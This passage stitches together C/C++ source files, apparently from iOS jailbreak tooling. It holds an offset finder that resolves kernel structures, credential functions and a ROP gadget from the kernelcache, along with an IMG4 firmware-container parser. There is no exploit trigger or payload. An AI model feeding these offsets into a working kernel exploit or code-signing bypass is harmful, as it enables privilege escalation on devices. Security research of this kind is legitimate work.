// Copyright © 2018 tihmstar. All rights reserved.
//
#ifndef all_liboffsetfinder_h
#define all_liboffsetfinder_h
#ifdef DEBUG
#define OFFSETFINDER64_VERSION_COMMIT_COUNT "Debug"
#define OFFSETFINDER64_VERSION_COMMIT_SHA "Build: " __DATE__ " " __TIME__
#include <stdint.h>
static uint64_t BIT_RANGE(uint64_t v, int begin, int end) { return ((v)>>(begin)) % (1 << ((end)-(begin)+1)); }
static uint64_t BIT_AT(uint64_t v, int pos){ return (v >> pos) % 2; }
#else
#define BIT_RANGE(v,begin,end) ( ((v)>>(begin)) % (1 << ((end)-(begin)+1)) )
#define BIT_AT(v,pos) ( (v >> pos) % 2 )
#endif
#define info(a ...) ({printf(a),printf("\n");})
#define log(a ...) ({if (dbglog) printf(a),printf("\n");})
#define warning(a ...) ({if (dbglog) printf("[WARNING] "), printf(a),printf("\n");})
#define error(a ...) ({printf("[Error] "),printf(a),printf("\n");})
#define safeFree(ptr) ({if (ptr) free(ptr),ptr=NULL;})
#define reterror(err) throw tihmstar::exception(__LINE__, err, LOCAL_FILENAME)
#define retcustomerror(err,except) throw tihmstar::except(__LINE__, err, LOCAL_FILENAME)
#define assure(cond) if ((cond) == 0) throw tihmstar::exception(__LINE__, "assure failed", LOCAL_FILENAME)
#define doassure(cond,code) do {if (!(cond)){(code);assure(cond);}} while(0)
#define retassure(cond, err) if ((cond) == 0) throw tihmstar::exception(__LINE__,err,LOCAL_FILENAME)
#define assureclean(cond) do {if (!(cond)){clean();assure(cond);}} while(0)
#endif /* all_liboffsetfinder_h */
@@ -0,0 +1,30 @@
//
// common.h
// liboffsetfinder64
//
// Created by tihmstar on 09.03.18.
// Copyright © 2018 tihmstar. All rights reserved.
//
#ifndef common_h
#define common_h
#include <stdint.h>
#include <vector>
namespace tihmstar{
namespace patchfinder64{
typedef uint8_t* loc_t;
typedef uint64_t offset_t;
struct text_t{
patchfinder64::loc_t map;
size_t size;
patchfinder64::loc_t base;
bool isExec;
};
using segment_t = std::vector<tihmstar::patchfinder64::text_t>;
}
}
#endif /* common_h */
@@ -0,0 +1,50 @@
//
// exception.cpp
// liboffsetfinder64
//
// Created by tihmstar on 09.03.18.
// Copyright © 2018 tihmstar. All rights reserved.
//
#include "all_liboffsetfinder.hpp"
#include "exception.hpp"
#include <string>
using namespace tihmstar;
exception::exception(int code, std::string err, std::string filename) :
_err(err),
_code(code),
_build_commit_count("1"),
_build_commit_sha("msf"),
_filename(filename){};
const char *exception::what(){
return _err.c_str();
}
int exception::code() const{
return _code | (int)(_filename.size()<<16);
}
const std::string& exception::build_commit_count() const {
return _build_commit_count;
};
const std::string& exception::build_commit_sha() const {
return _build_commit_sha;
};
out_of_range::out_of_range(std::string err) : exception(__LINE__, err, "exception.cpp"){};
symbol_not_found::symbol_not_found(int code, std::string sym, std::string filename) : exception(code,{"failed to find symbol: " + sym},filename) {};
load_command_not_found::load_command_not_found(int code, int cmd, std::string filename) : exception(code,{"failed to find cmd: " + std::to_string(cmd)},filename), _cmd(cmd) {};
int load_command_not_found::cmd() const { return _cmd;};
symtab_not_found::symtab_not_found(int code, std::string err, std::string filename) : exception(code,err,filename) {};
limit_reached::limit_reached(int code, std::string err, std::string filename) : exception(code,err,filename) {};
bad_branch_destination::bad_branch_destination(int code, std::string err, std::string filename) : exception(code,err,filename) {};
@@ -0,0 +1,73 @@
//
// exception.hpp
// liboffsetfinder64
//
// Created by tihmstar on 09.03.18.
// Copyright © 2018 tihmstar. All rights reserved.
//
#ifndef exception_hpp
#define exception_hpp
#include <string>
namespace tihmstar {
class exception : public std::exception{
std::string _err;
int _code;
std::string _build_commit_count;
std::string _build_commit_sha;
std::string _filename;
public:
exception(int code, std::string err, std::string filename);
//custom error can be used
const char *what();
/*
-first lowest two bytes of code is sourcecode line
-next two bytes is strlen of filename in which error happened
*/
int code() const;
//Information about build
const std::string& build_commit_count() const;
const std::string& build_commit_sha() const;
};
//custom exceptions for makeing it easy to catch
class out_of_range : public exception{
public:
out_of_range(std::string err);
};
class symbol_not_found : public exception{
public:
symbol_not_found(int code, std::string sym, std::string filename);
};
class load_command_not_found : public exception{
int _cmd;
public:
int cmd() const;
load_command_not_found(int code, int cmd, std::string filename);
};
class symtab_not_found : public exception{
public:
symtab_not_found(int code, std::string err, std::string filename);
};
class limit_reached : public exception{
public:
limit_reached(int code, std::string err, std::string filename);
};
class bad_branch_destination : public exception{
public:
bad_branch_destination(int code, std::string err, std::string filename);
};
};
#endif /* exception_hpp */
@@ -0,0 +1,55 @@
#include <errno.h>
#include <string.h> // strcmp, strerror
#include <sys/utsname.h> // uname
#include "liboffsetfinder64.hpp"
#include "getoffsets.h"
static offsets_t off;
static bool didInit = false;
static tihmstar::offsetfinder64* finder = 0;
offsets_t* get_offsets()
{
if (!didInit){
finder = new tihmstar::offsetfinder64("/System/Library/Caches/com.apple.kernelcaches/kernelcache");
off.base = 0xfffffff007004000;
off.sizeof_task = (kptr_t)finder->find_sizeof_task();
off.task_itk_self = (kptr_t)finder->find_task_itk_self();
off.task_itk_registered = (kptr_t)finder->find_task_itk_registered();
off.task_bsd_info = (kptr_t)finder->find_task_bsd_info();
off.proc_ucred = (kptr_t)finder->find_proc_ucred();
off.vm_map_hdr = (kptr_t)finder->find_vm_map_hdr();
off.ipc_space_is_task = (kptr_t)finder->find_ipc_space_is_task();
off.realhost_special = 0x10;
off.iouserclient_ipc = (kptr_t)finder->find_iouserclient_ipc();
off.vtab_get_retain_count = (kptr_t)finder->find_vtab_get_retain_count();
off.vtab_get_external_trap_for_index = (kptr_t)finder->find_vtab_get_external_trap_for_index();
off.zone_map = (kptr_t)finder->find_zone_map();
off.kernel_map = (kptr_t)finder->find_kernel_map();
off.kernel_task = (kptr_t)finder->find_kernel_task();
off.realhost = (kptr_t)finder->find_realhost();
off.copyin = (kptr_t)finder->find_copyin();
off.copyout = (kptr_t)finder->find_copyout();
off.chgproccnt = (kptr_t)finder->find_chgproccnt();
off.kauth_cred_ref = (kptr_t)finder->find_kauth_cred_ref();
off.ipc_port_alloc_special = (kptr_t)finder->find_ipc_port_alloc_special();
off.ipc_kobject_set = (kptr_t)finder->find_ipc_kobject_set();
off.ipc_port_make_send = (kptr_t)finder->find_ipc_port_make_send();
off.osserializer_serialize = (kptr_t)finder->find_osserializer_serialize();
off.rop_ldr_x0_x0_0x10 = (kptr_t)finder->find_rop_ldr_x0_x0_0x10();
didInit = true;
}
return &off;
}
kptr_t find_symbol(const char* symbol) {
if (!didInit){
finder = new tihmstar::offsetfinder64("/System/Library/Caches/com.apple.kernelcaches/kernelcache");
didInit = true;
}
return (kptr_t)finder->find_sym(symbol);
}
@@ -0,0 +1,64 @@
#ifndef OFFSETS_H
#define OFFSETS_H
#include <stdint.h>
typedef uint64_t kptr_t;
typedef struct
{
kptr_t base;
// Structure offsets
kptr_t sizeof_task;
kptr_t task_itk_self;
kptr_t task_itk_registered;
kptr_t task_bsd_info;
kptr_t proc_ucred;
kptr_t vm_map_hdr;
kptr_t ipc_space_is_task;
kptr_t realhost_special;
kptr_t iouserclient_ipc;
kptr_t vtab_get_retain_count;
kptr_t vtab_get_external_trap_for_index;
// Data
kptr_t zone_map;
kptr_t kernel_map;
kptr_t kernel_task;
kptr_t realhost;
// Code
kptr_t copyin;
kptr_t copyout;
kptr_t chgproccnt;
kptr_t kauth_cred_ref;
kptr_t ipc_port_alloc_special;
kptr_t ipc_kobject_set;
kptr_t ipc_port_make_send;
kptr_t osserializer_serialize;
kptr_t rop_ldr_x0_x0_0x10;
// Remount
kptr_t root_vnode;
// AMFID stuff
kptr_t vfs_context_current;
kptr_t vnode_getfromfd;
kptr_t vnode_getattr;
kptr_t vnode_put;
kptr_t csblob_ent_dict_set;
kptr_t sha1_init;
kptr_t sha1_update;
kptr_t sha1_final;
// Extra
kptr_t proc_find;
kptr_t proc_name;
kptr_t proc_rele;
} offsets_t;
#ifdef __cplusplus
extern "C"
#endif
offsets_t* get_offsets();
#ifdef __cplusplus
extern "C"
#endif
kptr_t find_symbol(const char* symbol);
#endif
@@ -0,0 +1,1293 @@
//
// img4.c
// img4tool
//
// Created by tihmstar on 15.06.16.
// Copyright © 2016 tihmstar. All rights reserved.
//
#include "img4.h"
#include "all_img4tool.h"
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <stdint.h>
#include "lzssdec.h"
/*#ifndef IMG4TOOL_NOLZFSE*/
/*#ifdef HAVE_LIBLZFSE*/
/*# include <lzfse.h>*/
/*#elif defined(HAVE_LIBCOMPRESSION)*/
/*# include <compression.h>*/
/*# define lzfse_decode_buffer(src, src_size, dst, dst_size, scratch) \*/
/*compression_decode_buffer(src, src_size, dst, dst_size, scratch, COMPRESSION_LZFSE)*/
/*#else*/
/*# error "either liblzfse or libcompression is needed"*/
/*#endif*/
/*#endif*/
/*#ifndef IMG4TOOL_NOOPENSSL*/
/*# include <openssl/x509.h>*/
/*# include <openssl/evp.h>*/
/*# include <openssl/sha.h>*/
/*#elif defined(__APPLE__)*/
/*# include <CommonCrypto/CommonDigest.h>*/
/*# define SHA1(d, n, md) CC_SHA1(d, n, md)*/
/*# define SHA_DIGEST_LENGTH CC_SHA1_DIGEST_LENGTH*/
/*#else*/
/*# error openssl is required on non-Apple*/
/*#endif*/
#define safeFree(buf) if (buf) free(buf), buf = NULL
#define assure(a) do{ if ((a) == 0){err=1; goto error;} }while(0)
#define retassure(retcode, a) do{ if ((a) == 0){err=retcode; goto error;} }while(0)
#define asn1Tag(a) ((t_asn1Tag*)a)
t_asn1ElemLen asn1Len(const char buf[4]){
t_asn1Length *sTmp = (t_asn1Length *)buf;
size_t outSize = 0;
int sizeBytes_ = 0;
unsigned char *sbuf = (unsigned char *)buf;
if (!sTmp->isLong) outSize = sTmp->len;
else{
sizeBytes_ = sTmp->len;
for (int i=0; i<sizeBytes_; i++) {
outSize *= 0x100;
outSize += sbuf[1+i];
}
}
t_asn1ElemLen ret;
ret.dataLen = outSize;
ret.sizeBytes = sizeBytes_+1;
return ret;
}
char *ans1GetString(char *buf, char **outString, size_t *strlen){
t_asn1Tag *tag = (t_asn1Tag *)buf;
if (!(tag->tagNumber | kASN1TagIA5String)) {
error("not a string\n");
return 0;
}
t_asn1ElemLen len = asn1Len(++buf);
*strlen = len.dataLen;
buf+=len.sizeBytes;
if (outString) *outString = buf;
return buf+*strlen;
}
int asn1ElementAtIndexWithCounter(const char *buf, int index, t_asn1Tag **tagret){
int ret = 0;
if (!((t_asn1Tag *)buf)->isConstructed) return 0;
t_asn1ElemLen len = asn1Len(++buf);
buf +=len.sizeBytes;
while (len.dataLen) {
if (ret == index && tagret){
*tagret = (t_asn1Tag*)buf;
return ret;
}
if (*buf == kASN1TagPrivate) {
size_t sb;
asn1GetPrivateTagnum((t_asn1Tag*)buf,&sb);
buf+=sb;
len.dataLen-=sb;
}else if (*buf == (char)0x9F){
//buf is element in set and it's value is encoded in the next byte
t_asn1ElemLen l = asn1Len(++buf);
if (l.sizeBytes > 1) l.dataLen += 0x80;
buf += l.sizeBytes;
len.dataLen -= 1 + l.sizeBytes;
}else
buf++,len.dataLen--;
t_asn1ElemLen sublen = asn1Len(buf);
size_t toadd =sublen.dataLen + sublen.sizeBytes;
len.dataLen -=toadd;
buf +=toadd;
ret ++;
}
return ret;
}
int asn1ElementsInObject(const char *buf){
return asn1ElementAtIndexWithCounter(buf, -1, NULL);
}
char *asn1ElementAtIndex(const char *buf, int index){
t_asn1Tag *ret;
asn1ElementAtIndexWithCounter(buf, index, &ret);
return (char*)ret;
}
int getSequenceName(const char *buf,char**name, size_t *nameLen){
#define reterror(a ...){error(a); err = -1; goto error;}
int err = 0;
if (((t_asn1Tag*)buf)->tagNumber != kASN1TagSEQUENCE) reterror("not a SEQUENCE\n");
int elems = asn1ElementsInObject(buf);
if (!elems) reterror("no elements in SEQUENCE\n");
size_t len;
ans1GetString((char*)asn1ElementAtIndex(buf,0),name,&len);
if (nameLen) *nameLen = len;
error:
return err;
#undef reterror
}
size_t asn1GetPrivateTagnum(t_asn1Tag *tag, size_t *sizebytes){
if (*(unsigned char*)tag != 0xff) {
error("not a private TAG 0x%02x\n",*(unsigned int*)tag);
return 0;
}
size_t sb = 1;
t_asn1ElemLen taglen = asn1Len((char*)++tag);
taglen.sizeBytes-=1;
if (taglen.sizeBytes != 4){
/*
WARNING: seems like apple's private tag is always 4 bytes long
i first assumed 0x84 can be parsed as long size with 4 bytes,
but 0x86 also seems to be 4 bytes size even if one would assume it means 6 bytes size.
This opens the question what the 4 or 6 nibble means.
*/
taglen.sizeBytes = 4;
}
size_t tagname =0;
do {
tagname *=0x100;
tagname>>=1;
tagname += ((t_asn1PrivateTag*)tag)->num;
sb++;
} while (((t_asn1PrivateTag*)tag++)->more);
if (sizebytes) *sizebytes = sb;
return tagname;
}
uint64_t ans1GetNumberFromTag(t_asn1Tag *tag){
if (tag->tagNumber != kASN1TagINTEGER) return (error("not an INTEGER\n"),0);
uint64_t ret = 0;
t_asn1ElemLen len = asn1Len((char*)++tag);
unsigned char *data = (unsigned char*)tag+len.sizeBytes;
while (len.dataLen--) {
ret *= 0x100;
ret+= *data++;
}
return ret;
}
void printStringWithKey(char*key, t_asn1Tag *string){
char *str = 0;
size_t strlen;
ans1GetString((char*)string,&str,&strlen);
printf("%s",key);
putStr(str, strlen);
putchar('\n');
}
void printPrivtag(size_t privTag){
char *ptag = (char*)&privTag;
int len = 0;
while (*ptag) ptag++,len++;
while (len--) putchar(*--ptag);
}
void printHexString(t_asn1Tag *str){
if (str->tagNumber != kASN1TagOCTET){
error("not an OCTET string\n");
return;
}
t_asn1ElemLen len = asn1Len((char*)str+1);
unsigned char *string = (unsigned char*)str + len.sizeBytes +1;
while (len.dataLen--) printf("%02x",*string++);
}
void printI5AString(t_asn1Tag *str){
if (str->tagNumber != kASN1TagIA5String){
error("not an I5A string\n");
return;
}
t_asn1ElemLen len = asn1Len((char*)++str);
putStr(((char*)str)+len.sizeBytes, len.dataLen);
}
void printKBAGOctet(char *octet){
#define reterror(a ...){error(a);goto error;}
if (((t_asn1Tag*)octet)->tagNumber != kASN1TagOCTET) reterror("not an OCTET\n");
t_asn1ElemLen octetlen = asn1Len(++octet);
octet +=octetlen.sizeBytes;
//main seq
int subseqs = asn1ElementsInObject(octet);
for (int i=0; i<subseqs; i++) {
char *s = (char*)asn1ElementAtIndex(octet, i);
int elems = asn1ElementsInObject(s);
if (elems--){
//integer (currently unknown?)
t_asn1Tag *num = (t_asn1Tag*)asn1ElementAtIndex(s, 0);
if (num->tagNumber != kASN1TagINTEGER) warning("skipping unexpected tag\n");
else{
char n = *(char*)(num+2);
printf("num: %d\n",n);
}
}
if (elems--)printHexString((t_asn1Tag*)asn1ElementAtIndex(s, 1)),putchar('\n');
if (elems--)printHexString((t_asn1Tag*)asn1ElementAtIndex(s, 2)),putchar('\n');
}
error:
return;
#undef reterror
}
void printNumber(t_asn1Tag *tag){
if (tag->tagNumber != kASN1TagINTEGER) {
error("tag not an INTEGER\n");
return;
}
t_asn1ElemLen len = asn1Len((char*)++tag);
uint32_t num = 0;
while (len.sizeBytes--) {
num *=0x100;
num += *(unsigned char*)++tag;
}
printf("%u",num);
}
void printIM4P(char *buf){
#define reterror(a ...){error(a);goto error;}
char *magic;
size_t l;
getSequenceName(buf, &magic, &l);
if (strncmp("IM4P", magic, l)) reterror("unexpected \"%.*s\", expected \"IM4P\"\n",(int)l,magic);
int elems = asn1ElementsInObject(buf);
if (--elems>0) printStringWithKey("type: ",(t_asn1Tag*)asn1ElementAtIndex(buf, 1));
if (--elems>0) printStringWithKey("desc: ",(t_asn1Tag*)asn1ElementAtIndex(buf, 2));
if (--elems>0) {
//data
t_asn1Tag *data = (t_asn1Tag*)asn1ElementAtIndex(buf, 3);
if (data->tagNumber != kASN1TagOCTET) warning("skipped an unexpected tag where OCTETSTING was expected\n");
else printf("size: 0x%08zx\n",asn1Len((char*)data+1).dataLen);
}
if (--elems>0) {
//kbag values
printf("\nKBAG\n");
printKBAGOctet((char*)asn1ElementAtIndex(buf, 4));
}else{
printf("\nIM4P does not contain KBAG values\n");
}
error:
return;
#undef reterror
}
char* extractPayloadFromIM4P(const char* buf, const char** compname, size_t *len) {
int elems = asn1ElementsInObject(buf);
if (elems < 4) {
error("not enough elements in SEQUENCE: %d", elems);
return NULL;
}
char *name = NULL;
size_t namelen = 0;
char *krnl_tag = asn1ElementAtIndex(buf, 1);
char *rv = ans1GetString(krnl_tag, &name, &namelen);
if (rv == NULL || namelen != 4 || strncmp(name, "krnl", 4) != 0) {
printf("Not a krnl\n");
return NULL;
}
char *dataTag = asn1ElementAtIndex(buf, 3)+1;
t_asn1ElemLen dlen = asn1Len(dataTag);
char *data = dataTag+dlen.sizeBytes;
char *kernel = NULL;
const char* comp = NULL;
if (strncmp(data, "complzss", 8) == 0) {
comp = "lzss";
kernel = tryLZSS(data, len);
} else if (strncmp(data, "bvx2", 4) == 0) {
comp = "lzfse";
#ifndef IMG4TOOL_NOLZFSE
char *compTag = data + dlen.dataLen;
char *fakeCompSizeTag = asn1ElementAtIndex(compTag, 0);
char *uncompSizeTag = asn1ElementAtIndex(compTag, 1);
size_t fake_src_size = ans1GetNumberFromTag(asn1Tag(fakeCompSizeTag));
size_t dst_size = ans1GetNumberFromTag(asn1Tag(uncompSizeTag));
size_t src_size = dlen.dataLen;
if (fake_src_size != 1) {
printf("fake_src_size not 1 but 0x%zx!\n", fake_src_size);
}
kernel = malloc(dst_size);
size_t uncomp_size = lzfse_decode_buffer(
(uint8_t*) kernel, dst_size,
(uint8_t*) data, src_size,
NULL);
if (uncomp_size != dst_size) {
printf("expected to decompress %zu bytes but only got %zu\n", dst_size, uncomp_size);
free(kernel);
kernel = NULL;
} else {
*len = dst_size;
}
#else
printf("Can't unpack data because img4tool was compiled without lzfse!\n");
#endif
}
*compname = comp;
return kernel;
}
/*
int extractFileFromIM4P(char *buf, const char *dstFilename){
int elems = asn1ElementsInObject(buf);
if (elems < 4){
error("not enough elements in SEQUENCE %d\n",elems);
return -2;
}
char *dataTag = asn1ElementAtIndex(buf, 3)+1;
t_asn1ElemLen dlen = asn1Len(dataTag);
char *data = dataTag+dlen.sizeBytes;
char* kernel = NULL;
{
size_t kernel_len = 0;
const char* compname = NULL;
kernel = extractPayloadFromIM4P(buf, &compname, &kernel_len);
if (compname != NULL) {
printf("Kernelcache detected, uncompressing (%s): %s\n", compname, kernel ? "ok" : "failure");
}
if (kernel != NULL) {
data = kernel;
dlen.dataLen = kernel_len;
}
}
FILE *f = fopen(dstFilename, "wb");
if (!f) {
error("can't open file %s\n",dstFilename);
return -1;
}
fwrite(data, dlen.dataLen, 1, f);
fclose(f);
if (kernel)
free(kernel);
return 0;
}
*/
int sequenceHasName(const char *buf, char *name){
char *magic;
size_t l;
int err = getSequenceName(buf, &magic, &l);
return !err && strncmp(name, magic, l) == 0;
}
char *getElementFromIMG4(char *buf, char* element){
#define reterror(a ...) return (error(a),NULL)
if (!sequenceHasName(buf, "IMG4")) reterror("not img4 sequcence\n");
int elems = asn1ElementsInObject(buf);
for (int i=0; i<elems; i++) {
char *elemen = asn1ElementAtIndex(buf, i);
if (asn1Tag(elemen)->tagNumber != kASN1TagSEQUENCE && asn1Tag(elemen)->tagClass == kASN1TagClassContextSpecific) {
//assuming we found a "subcontainer"
elemen += asn1Len((char*)elemen+1).sizeBytes+1;
}
if (asn1Tag(elemen)->tagNumber == kASN1TagSEQUENCE && sequenceHasName(elemen, element)) {
return (char*)elemen;
}
}
reterror("element %s not found in IMG4\n",element);
#undef reterror
}
int extractElementFromIMG4(char *buf, char* element, const char *dstFilename){
#define reterror(a ...) return (error(a),-1)
char *elemen = getElementFromIMG4(buf, element);
if (!elemen) return -1;
FILE *f = fopen(dstFilename, "wb");
if (!f) {
error("can't open file %s\n",dstFilename);
return -1;
}
t_asn1ElemLen len = asn1Len((char*)elemen+1);
size_t flen = len.dataLen + len.sizeBytes +1;
fwrite(elemen, flen, 1, f);
fclose(f);
return 0;
#undef reterror
}
int asn1MakeSize(char *sizeBytesDst, size_t size){
int off = 0;
if (size >= 0x1000000) {
// 1+4 bytes length
sizeBytesDst[off++] = 0x84;
sizeBytesDst[off++] = (size >> 24) & 0xFF;
sizeBytesDst[off++] = (size >> 16) & 0xFF;
sizeBytesDst[off++] = (size >> 8) & 0xFF;
sizeBytesDst[off++] = size & 0xFF;
} else if (size >= 0x10000) {
// 1+3 bytes length
sizeBytesDst[off++] = 0x83;
sizeBytesDst[off++] = (size >> 16) & 0xFF;
sizeBytesDst[off++] = (size >> 8) & 0xFF;
sizeBytesDst[off++] = size & 0xFF;
} else if (size >= 0x100) {
// 1+2 bytes length
sizeBytesDst[off++] = 0x82;
sizeBytesDst[off++] = (size >> 8) & 0xFF;
sizeBytesDst[off++] = (size & 0xFF);
} else if (size >= 0x80) {
// 1+1 byte length
sizeBytesDst[off++] = 0x81;
sizeBytesDst[off++] = (size & 0xFF);
} else {
// 1 byte length
sizeBytesDst[off++] = size & 0xFF;
}
return off;
}
char *asn1PrepandTag(char *buf, t_asn1Tag tag){
t_asn1ElemLen len = asn1Len(buf+1);
//alloc mem for oldTag+oldSizebytes+oldData + newTag + newTagSizebytesMax
char *ret = malloc(len.sizeBytes + len.dataLen +1 +1+4);
ret[0] = *(char*)&tag;
int nSizeBytes = asn1MakeSize(ret+1, len.sizeBytes + len.dataLen +1);
memcpy(ret + nSizeBytes+1, buf, len.sizeBytes + len.dataLen +1);
return ret;
}
char *asn1AppendToTag(char *buf, char *toappend){
t_asn1ElemLen buflen = asn1Len(buf+1);
t_asn1ElemLen apndLen = asn1Len(toappend+1);
//alloc memory for bufdata + buftag + apndData + apndSizebytes + apndTag + maxSizeBytesForBuf
size_t containerLen;
char *ret = malloc(1 +(containerLen = buflen.dataLen +apndLen.sizeBytes + apndLen.dataLen +1) +4);
ret[0] = buf[0];
int nSizeBytes = asn1MakeSize(ret+1, containerLen);
//copy old data
memcpy(ret + nSizeBytes+1, buf+1+buflen.sizeBytes, buflen.dataLen);
memcpy(ret +nSizeBytes+1+ buflen.dataLen, toappend, apndLen.sizeBytes +apndLen.dataLen +1);
free(buf);
return ret;
}
char *makeIM4RWithNonce(char *nonce){
char template[] = {0xA1, 0x23, 0x30, 0x21, 0x16, 0x04, 0x49, 0x4D,
0x34, 0x52, 0x31, 0x19, 0xFF, 0x84, 0x92, 0xB9,
0x86, 0x4E, 0x12, 0x30, 0x10, 0x16, 0x04, 0x42,
0x4E, 0x43, 0x4E, 0x04, 0x08};
char *ret = malloc(sizeof(template)+8);
strncpy(ret, template,sizeof(template));
strncpy(ret+sizeof(template), nonce, 8);
return ret;
}
/*
char *makeIMG4(char *im4p, char *im4m, char *im4r, size_t *size){
t_asn1Tag elem0;
elem0.tagNumber = 0;
elem0.tagClass = kASN1TagClassContextSpecific;
elem0.isConstructed = 1;
if (im4m) im4m = asn1PrepandTag(im4m, elem0);
char *sequence = malloc(2);
sequence[0] = 0x30;
sequence[1] = 0x00;
char iA5String_IMG4[] = {0x16, 0x04, 0x49, 0x4D, 0x47, 0x34};
sequence = asn1AppendToTag(sequence, iA5String_IMG4);
if (im4p) sequence = asn1AppendToTag(sequence, im4p);
if (im4m) sequence = asn1AppendToTag(sequence, im4m);
if (im4r) {
char *noncebuf = makeIM4RWithNonce(im4r);
sequence = asn1AppendToTag(sequence, noncebuf);
free(noncebuf);
}
if (size){
t_asn1ElemLen retlen = asn1Len(sequence+1);
*size = 1+ retlen.dataLen + retlen.sizeBytes;
}
free(im4m); //only freeing local copy, not actually freeing outside im4m buffer
return sequence;
}
int replaceNameInIM4P(char *buf, const char *newName){
if (asn1ElementsInObject(buf)<2){
error("not enough objects in sequence\n");
return -1;
}
char *nameTag = asn1ElementAtIndex(buf, 1);
if (asn1Tag(nameTag)->tagNumber != kASN1TagIA5String){
error("nameTag is not IA5String\n");
return -2;
}
t_asn1ElemLen len;
if ((len = asn1Len(nameTag+1)).dataLen !=4){
error("nameTag has not a length of 4 Bytes, actual len=%ld\n",len.dataLen);
return -2;
}
memmove(nameTag + 1 + len.sizeBytes, newName, 4);
return 0;
}
char *getValueForTagInSet(char *set, uint32_t tag){
#define reterror(a) return (error(a),NULL)
if (((t_asn1Tag*)set)->tagNumber != kASN1TagSET) reterror("not a SET\n");
t_asn1ElemLen setlen = asn1Len(++set);
for (char *setelems = set+setlen.sizeBytes; setelems<set+setlen.dataLen;) {
if (*(unsigned char*)setelems == 0xff) {
//priv tag
size_t sb;
size_t ptag = asn1GetPrivateTagnum((t_asn1Tag*)setelems,&sb);
setelems += sb;
t_asn1ElemLen len = asn1Len(setelems);
setelems += len.sizeBytes;
if (tag == ptag) return setelems;
setelems +=len.dataLen;
}else{
//normal tag
t_asn1ElemLen len = asn1Len(setelems);
setelems += len.sizeBytes + 1;
if (((t_asn1Tag*)setelems)->tagNumber == tag) return setelems;
setelems += len.dataLen;
}
}
return 0;
#undef reterror
}
void printElemsInIMG4(char *buf, bool printAll, bool im4pOnly){
#define reterror(a...) {error(a); goto error;}
char *magic;
size_t l;
getSequenceName(buf, &magic, &l);
if (strncmp("IMG4", magic, l)) reterror("unexpected \"%.*s\", expected \"IMG4\"\n",(int)l,magic);
printf("IMG4:\n");
int elems = asn1ElementsInObject(buf);
for (int i=1; i<elems; i++) {
char *tag = (char*)asn1ElementAtIndex(buf, i);
if (((t_asn1Tag*)tag)->tagClass == kASN1TagClassContextSpecific) {
tag += asn1Len((char*)tag+1).sizeBytes +1;
}
char *magic = 0;
size_t l;
getSequenceName((char*)tag, &magic, &l);
putStr(magic, l);printf(": ---------\n");
if (!im4pOnly && strncmp("IM4R", magic, l) == 0) printIM4R(tag);
if (!im4pOnly && strncmp("IM4M", magic, l) == 0) printIM4M(tag,printAll);
if (strncmp("IM4P", magic, l) == 0) printIM4P(tag);
putchar('\n');
}
error:
return;
#undef reterror
}
void printIM4R(char *buf){
#define reterror(a ...){error(a);goto error;}
char *magic;
size_t l;
getSequenceName(buf, &magic, &l);
if (strncmp("IM4R", magic, l)) reterror("unexpected \"%.*s\", expected \"IM4R\"\n",(int)l,magic);
int elems = asn1ElementsInObject(buf);
if (elems<2) reterror("expecting at least 2 elements\n");
t_asn1Tag *set = (t_asn1Tag*)asn1ElementAtIndex(buf, 1);
if (set->tagNumber != kASN1TagSET) reterror("expecting SET type\n");
set += asn1Len((char*)set+1).sizeBytes+1;
if (set->tagClass != kASN1TagClassPrivate) reterror("expecting PRIVATE type\n");
printPrivtag(asn1GetPrivateTagnum(set++,0));
printf("\n");
set += asn1Len((char*)set).sizeBytes+1;
elems = asn1ElementsInObject((char*)set);
if (elems<2) reterror("expecting at least 2 elements\n");
printI5AString((t_asn1Tag*)asn1ElementAtIndex((char*)set, 0));
printf(": ");
printHexString((t_asn1Tag*)asn1ElementAtIndex((char*)set, 1));
putchar('\n');
error:
return;
#undef reterror
}
char *getIM4PFromIMG4(char *buf){
char *magic;
size_t l;
getSequenceName(buf, &magic, &l);
if (strncmp("IMG4", magic, l)) return error("unexpected \"%.*s\", expected \"IMG4\"\n",(int)l,magic),NULL;
if (asn1ElementsInObject(buf)<2) return error("not enough elements in SEQUENCE"),NULL;
char *ret = (char*)asn1ElementAtIndex(buf, 1);
getSequenceName(ret, &magic, &l);
return (strncmp("IM4P", magic, 4) == 0) ? ret : (error("unexpected \"%.*s\", expected \"IM4P\"\n",(int)l,magic),NULL);
}
char *getIM4MFromIMG4(char *buf){
char *magic;
size_t l;
getSequenceName(buf, &magic, &l);
if (strncmp("IMG4", magic, l)) return error("unexpected \"%.*s\", expected \"IMG4\"\n",(int)l,magic),NULL;
if (asn1ElementsInObject(buf)<3) return error("not enough elements in SEQUENCE"),NULL;
char *ret = (char*)asn1ElementAtIndex(buf, 2);
if (((t_asn1Tag*)ret)->tagClass != kASN1TagClassContextSpecific) return error("unexpected Tag 0x%02x, expected SET\n",*(unsigned char*)ret),NULL;
ret += asn1Len(ret+1).sizeBytes + 1;
getSequenceName(ret, &magic, &l);
return (strncmp("IM4M", magic, 4) == 0) ? ret : NULL;
}
void printIM4M(char *buf, bool printAll){
#define reterror(a ...){error(a);goto error;}
char *magic;
size_t l;
getSequenceName(buf, &magic, &l);
if (strncmp("IM4M", magic, l)) reterror("unexpected \"%.*s\", expected \"IM4M\"\n",(int)l,magic);
int elems = asn1ElementsInObject(buf);
if (elems<2) reterror("expecting at least 2 elements\n");
if (--elems>0) {
printf("Version: ");
printNumber((t_asn1Tag*)asn1ElementAtIndex(buf, 1));
putchar('\n');
}
if (--elems>0) {
t_asn1Tag *manbset = (t_asn1Tag*)asn1ElementAtIndex(buf, 2);
if (manbset->tagNumber != kASN1TagSET) reterror("expecting SET\n");
t_asn1Tag *privtag = manbset + asn1Len((char*)manbset+1).sizeBytes+1;
size_t sb;
printPrivtag(asn1GetPrivateTagnum(privtag++,&sb));
printf("\n");
char *manbseq = (char*)privtag+sb;
manbseq+= asn1Len(manbseq).sizeBytes+1;
printMANB(manbseq, printAll);
if (!printAll) return;
}
error:
return;
#undef reterror
}
void asn1PrintValue(t_asn1Tag *tag){
if (tag->tagNumber == kASN1TagIA5String){
printI5AString(tag);
}else if (tag->tagNumber == kASN1TagOCTET){
printHexString(tag);
}else if (tag->tagNumber == kASN1TagINTEGER){
t_asn1ElemLen len = asn1Len((char*)tag+1);
unsigned char *num = (unsigned char*)tag+1 + len.sizeBytes;
uint64_t pnum = 0;
while (len.dataLen--) {
pnum *=0x100;
pnum += *num++;
//ungly workaround for WIN32
if (sizeof(uint64_t) != 8) printf("%02x",num[-1]);
}
if (sizeof(uint64_t) == 8) printf("%llu",pnum);
else printf(" (hex)");
